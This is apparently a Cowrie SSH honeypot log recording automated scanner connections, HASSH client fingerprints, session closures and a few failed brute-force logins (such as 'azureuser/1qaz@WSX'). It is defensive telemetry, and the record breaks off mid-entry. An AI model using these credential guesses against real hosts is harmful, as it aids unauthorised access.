{"eventid":"cowrie.login.failed","username":"azureuser","password":"1qaz@WSX","message":"login attempt [azureuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:48.663479Z","src_ip":"193.32.162.151","session":"472eaf8c459a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:31:49.767529Z","src_ip":"193.32.162.151","session":"472eaf8c459a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":32892,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a6a88812a6a","protocol":"ssh","message":"New connection: 34.208.15.74:32892 (10.17.0.5:22) [session: 4a6a88812a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:09.093821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:09.169703Z","src_ip":"34.208.15.74","session":"4a6a88812a6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:09.414255Z","src_ip":"34.208.15.74","session":"4a6a88812a6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:09.873126Z","src_ip":"34.208.15.74","session":"4a6a88812a6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":32898,"dst_ip":"10.17.0.5","dst_port":22,"session":"b55ee82c16ab","protocol":"ssh","message":"New connection: 34.208.15.74:32898 (10.17.0.5:22) [session: b55ee82c16ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:09.941060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:10.031699Z","src_ip":"34.208.15.74","session":"b55ee82c16ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:10.472627Z","src_ip":"34.208.15.74","session":"b55ee82c16ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:10.670779Z","src_ip":"34.208.15.74","session":"b55ee82c16ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":32900,"dst_ip":"10.17.0.5","dst_port":22,"session":"315f5ba3cf07","protocol":"ssh","message":"New connection: 34.208.15.74:32900 (10.17.0.5:22) [session: 315f5ba3cf07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:10.740337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:10.811881Z","src_ip":"34.208.15.74","session":"315f5ba3cf07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp384","ecdsa-sha2-nistp384-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:10.982283Z","src_ip":"34.208.15.74","session":"315f5ba3cf07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:10.989897Z","src_ip":"34.208.15.74","session":"315f5ba3cf07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":32914,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4d6bc213f93","protocol":"ssh","message":"New connection: 34.208.15.74:32914 (10.17.0.5:22) [session: c4d6bc213f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.183850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.238081Z","src_ip":"34.208.15.74","session":"c4d6bc213f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp521","ecdsa-sha2-nistp521-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.315418Z","src_ip":"34.208.15.74","session":"c4d6bc213f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.320659Z","src_ip":"34.208.15.74","session":"c4d6bc213f93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":32922,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b1099215bd9","protocol":"ssh","message":"New connection: 34.208.15.74:32922 (10.17.0.5:22) [session: 5b1099215bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.650019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.752751Z","src_ip":"34.208.15.74","session":"5b1099215bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-512","rsa-sha2-512-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.927962Z","src_ip":"34.208.15.74","session":"5b1099215bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:11.933573Z","src_ip":"34.208.15.74","session":"5b1099215bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":44224,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd39ea45fe3","protocol":"ssh","message":"New connection: 34.208.15.74:44224 (10.17.0.5:22) [session: 5bd39ea45fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:12.139081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:12.158638Z","src_ip":"34.208.15.74","session":"5bd39ea45fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256","rsa-sha2-256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:12.260283Z","src_ip":"34.208.15.74","session":"5bd39ea45fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:12.266068Z","src_ip":"34.208.15.74","session":"5bd39ea45fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":44236,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c885c8cc26","protocol":"ssh","message":"New connection: 34.208.15.74:44236 (10.17.0.5:22) [session: 73c885c8cc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:12.409661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:12.728578Z","src_ip":"34.208.15.74","session":"73c885c8cc26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:13.034570Z","src_ip":"34.208.15.74","session":"73c885c8cc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:13.589678Z","src_ip":"34.208.15.74","session":"73c885c8cc26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.208.15.74","src_port":44238,"dst_ip":"10.17.0.5","dst_port":22,"session":"07392ac70c19","protocol":"ssh","message":"New connection: 34.208.15.74:44238 (10.17.0.5:22) [session: 07392ac70c19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:13.658785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:13.734874Z","src_ip":"34.208.15.74","session":"07392ac70c19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:13.869435Z","src_ip":"34.208.15.74","session":"07392ac70c19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:32:13.875455Z","src_ip":"34.208.15.74","session":"07392ac70c19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49256,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c67801f4d85","protocol":"ssh","message":"New connection: 2.57.122.208:49256 (10.17.0.5:22) [session: 6c67801f4d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:33:57.445860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:33:57.535770Z","src_ip":"2.57.122.208","session":"6c67801f4d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:33:57.670245Z","src_ip":"2.57.122.208","session":"6c67801f4d85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:33:58.320274Z","src_ip":"2.57.122.208","session":"6c67801f4d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:33:59.440320Z","src_ip":"2.57.122.208","session":"6c67801f4d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":40136,"dst_ip":"159.203.135.109","dst_port":22,"session":"a924157fd549","protocol":"ssh","message":"New connection: 193.32.162.151:40136 (159.203.135.109:22) [session: a924157fd549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:00.473122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:34:00.477981Z","src_ip":"193.32.162.151","session":"a924157fd549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecd